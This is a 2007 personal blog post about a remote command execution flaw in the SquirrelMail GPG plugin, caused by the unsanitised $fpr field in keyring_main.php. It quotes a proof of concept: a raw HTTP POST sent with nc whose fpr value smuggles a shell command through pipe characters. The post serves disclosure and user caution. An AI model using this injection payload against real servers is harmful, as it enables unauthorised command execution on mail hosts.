THE SPEW - Land where drunk cows swim and home to my daily hand...
streaming media & music | Home | Archives | Albums | Pics

Squirrelmail GPG Plugin Remote Command Execution Vulnerability

08 August, 2007 08:16

Leave it to the beavers when after I get my GPG plugin working with Squirrelmail, I find this notice of a remote command execution vulnerability.

The culprit is /plugins/gpg/modules/keyring_main.php which doesn't properly sanitize the $fpr POST data.

Here is a proof of concept from the originating article:

testbox:/home/w00t# cat /tmp/w00t
cat: /tmp/w00t: No such file or directory
testbox:/home/w00t#

***@silverlaptop:~$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

id=C5B1611B8E71C***\
&fpr= | touch /tmp/w00t |&pos=0&sort=email_name&desc=&srch=&ring=all\
&passphrase=&deletekey=true\
amp;deletepair=false&trust=1

It is also mentioned that there are several other vulnerabilities in the plugin.  I hope a developer steps up and does what needs to be done to release a stable version of this well needed and rather easy to use plugin.

Version 2.1 was released July 7th, 2007 and the exploit from what I have read dates around July 11th, 2007

I would try to sanitize the sting myself, or find a work around, but there are mentions of other vulnerabilities which makes me too cautious to continue using, or patching the plugin until there is another stable release. 

[Software]
[Comments(0)] [Trackbacks(0)] [Permalink]

Add comment

Add comment
 authimage
Your E-Mail Address will NOT be Shared

Main Entry: spew
Function: verb
Etymology: Middle English, from Old English spIwan; akin to Old High German spIwan to spit, Latin spuere, Greek ptyein intransitive verb
1 : VOMIT
2 : to come forth in a flood or gush
3 : to ooze out as if under pressure : EXUDE transitive verb
1 : VOMIT
2 : to send or cast forth with vigor or violence or in great quantity -- often used with out - spew-er noun
-- Merriam-Webster

Land where drunk cows swim and home to my daily hand